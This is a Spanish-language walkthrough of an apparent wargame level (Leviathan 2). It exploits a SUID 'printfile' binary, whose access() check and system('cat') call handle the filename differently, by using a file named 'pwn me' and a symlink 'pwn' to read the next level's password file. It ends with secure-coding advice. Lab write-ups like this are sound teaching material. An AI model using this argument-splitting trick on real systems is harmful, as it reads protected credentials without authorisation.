← Volver al listado de tecnologías
Leviathan Nivel 2 - Inyección de Comandos
Leviathan Nivel 2 - Inyección de Comandos
Objetivo
Hay un binario printfile que imprime archivos. Explotarlo para leer la contraseña.
Exploración
ls -la
./printfile
# Usage: ./printfile filename
Probemos:
./printfile /etc/leviathan_pass/leviathan3
# Error: no tienes permisos
Pero el binario es SUID…
Análisis con ltrace
ltrace ./printfile /etc/passwd
Observa las llamadas:
access()- Verifica si TIENES permiso/bin/cat- Ejecuta cat con el archivo
El Problema
El programa verifica permisos con access() pero luego pasa el nombre a cat directamente.
Teoría: Inyección en Nombres de Archivo
Si el nombre contiene espacios, cat lo interpreta como múltiples archivos:
cat "archivo uno" archivo_dos
# Intenta abrir "archivo" "uno" y "archivo_dos"
Solución
Paso 1: Crear directorio temporal
mkdir /tmp/lev2
cd /tmp/lev2
Paso 2: Crear archivo con espacio en el nombre
touch "pwn me"
Paso 3: Crear symlink
ln -s /etc/leviathan_pass/leviathan3 pwn
Ahora tenemos:
pwn me- archivo vacíopwn- symlink a la contraseña
Paso 4: Explotar
~/printfile "pwn me"
¿Qué pasa?
access("pwn me")- Verifica permisos de “pwn me” (OK, es tuyo)cat pwn me- Cat intenta abrir “pwn” y “me”- “pwn” es symlink a la contraseña
Por Qué Funciona
| Paso | Función | Argumento |
|---|---|---|
| Verificación | access() | "pwn me" (archivo completo) |
| Ejecución | cat | pwn y me (separados) |
El programa no maneja correctamente espacios en nombres.
Lección de Seguridad
Validación Inconsistente
// Vulnerable
access(filename); // Verifica "pwn me"
system("cat " + filename); // Ejecuta cat pwn me
// Correcto
access(filename);
cat_file(filename); // Función propia, no shell
Reglas
- Nunca pasar input de usuario a system()
- Usar funciones de librería, no comandos shell
- Escapar argumentos si es necesario
Comandos Aprendidos
| Comando | Uso |
|---|---|
touch | Crear archivos |
ln -s | Crear symlinks |
ltrace | Analizar binarios |
Siguiente Nivel
- Usuario: leviathan3